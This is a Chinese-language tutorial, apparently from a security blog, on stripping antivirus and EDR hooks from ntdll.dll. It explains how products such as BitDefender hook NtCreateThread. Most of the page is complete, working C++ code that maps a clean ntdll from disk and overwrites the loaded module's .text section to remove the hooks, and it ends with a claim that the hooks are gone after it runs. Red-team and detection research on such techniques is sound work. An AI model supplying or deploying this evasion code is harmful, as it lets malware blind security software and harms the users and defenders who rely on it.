移除NtDll的hook
简介
许多杀毒软件使用钩子(hook)技术来监视系统的API函数调用,并检测潜在的恶意代码行为。Ntdll.dll是Windows操作系统的一个核心动态链接库,其中包含许多系统级API函数。通过在Ntdll上设置钩子,杀毒软件可以拦截这些API函数的调用,并检查它们的参数和返回值,以便发现可能的恶意行为
下图是没有被杀软挂钩子的NtCreateThread函数

下图是被BitDefender挂钩子的NtCreateThread函数,钩子是jmp 7FFAACAD0264

代码思路
UNHOOKntdll()
函数的主要目标是移除对ntdll.dll
文件的任何hooks
1.获取被挂钩的ntdll信息
函数首先通过GetModuleHandleA("ntdll.dll")
获取ntdll模块的句柄,这个句柄指向当前进程中已经加载的ntdll.dll
。
GetModuleInformation()
被用于获取ntdll模块的信息,包括模块的基地址等。此处获取到的信息将被用于后续操作
2.打开新的ntdll并映射至进程空间
通过调用CreateFileA()
打开系统目录下的原始ntdll.dll
文件。这个文件没有被任何hook修改,所以可以作为一个“清洁”的源来恢复被hook修改的部分
使用CreateFileMapping()
和MapViewOfFile()
函数将原始ntdll文件映射至当前进程的地址空间中
3.查找ntdll的text节区
遍历当前进程中加载的ntdll模块的所有section(节区)。在Windows PE文件格式(包括DLL和EXE)中,一个section是包含特定类型数据的一个内存区块,例如代码或者数据。特别地,.text
section通常包含程序的代码
4.替换text节区的内容
通过调用VirtualProtect()
改变它的内存保护属性,使其成为可读、可写、可执行。这样才能修改该内存区块的内容
通过memcpy()
将原始ntdll文件中的.text
section的内容复制到当前进程的ntdll模块的对应部分。这个操作实际上就是“恢复”了被hook修改过的代码,因为现在它被原始的、没有被hook的代码所替代
代码实现
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>
// 智能句柄,自动管理系统资源
struct SmartHandle {
HANDLE handle; // 系统句柄
SmartHandle(HANDLE handle) : handle(handle) {} // 构造函数,接收系统句柄
~SmartHandle() { // 析构函数
if (handle != INVALID_HANDLE_VALUE) { // 判断句柄是否有效
CloseHandle(handle); // 如果有效,关闭句柄
}
}
};
DWORD UNHOOKntdll() {
MODULEINFO mi = {}; // 定义模块信息结构体
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); // 获取ntdll模块的句柄
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); // 获取模块信息,存放到mi
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; // 获取ntdll模块的基址
// 使用智能句柄打开ntdll.dll文件
SmartHandle ntdllFile(CreateFileA("c:\\windows\\system32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL));
// 创建文件映射,映射ntdll.dll文件
SmartHandle ntdllMapping(CreateFileMapping(ntdllFile.handle, NULL, PAGE_READONLY |
SEC_IMAGE, 0, 0, NULL));
// 映射视图,得到映射地址
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping.handle, FILE_MAP_READ, 0,
0, 0);
// 读取ntdll模块的DOS头
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
// 读取ntdll模块的NT头
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase
+ hookedDosHeader->e_lfanew);
// 遍历所有节
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
// 读取每个节的头信息
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)
((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) +
((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
// 检查是否是.text节
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0; // 用来保存旧的保护属性
try {
// 修改内存保护属性为可读可写可执行
BOOL isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
(DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
// 使用memcpy替换.text节的内容
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
}
catch (...) {
// 如果在修改过程中发生异常,确保恢复内存的保护属性
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
throw; // 再次抛出异常,让上层调用者知道发生了异常
}
// 确保我们恢复了内存的保护属性
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
FreeLibrary(ntdllModule); // 释放模块
return 0;
}
int main() {
getchar();
UNHOOKntdll();
return 0;
}
运行测试
重载Ntdll后,可以发现杀软的钩子被去除掉了

最后更新于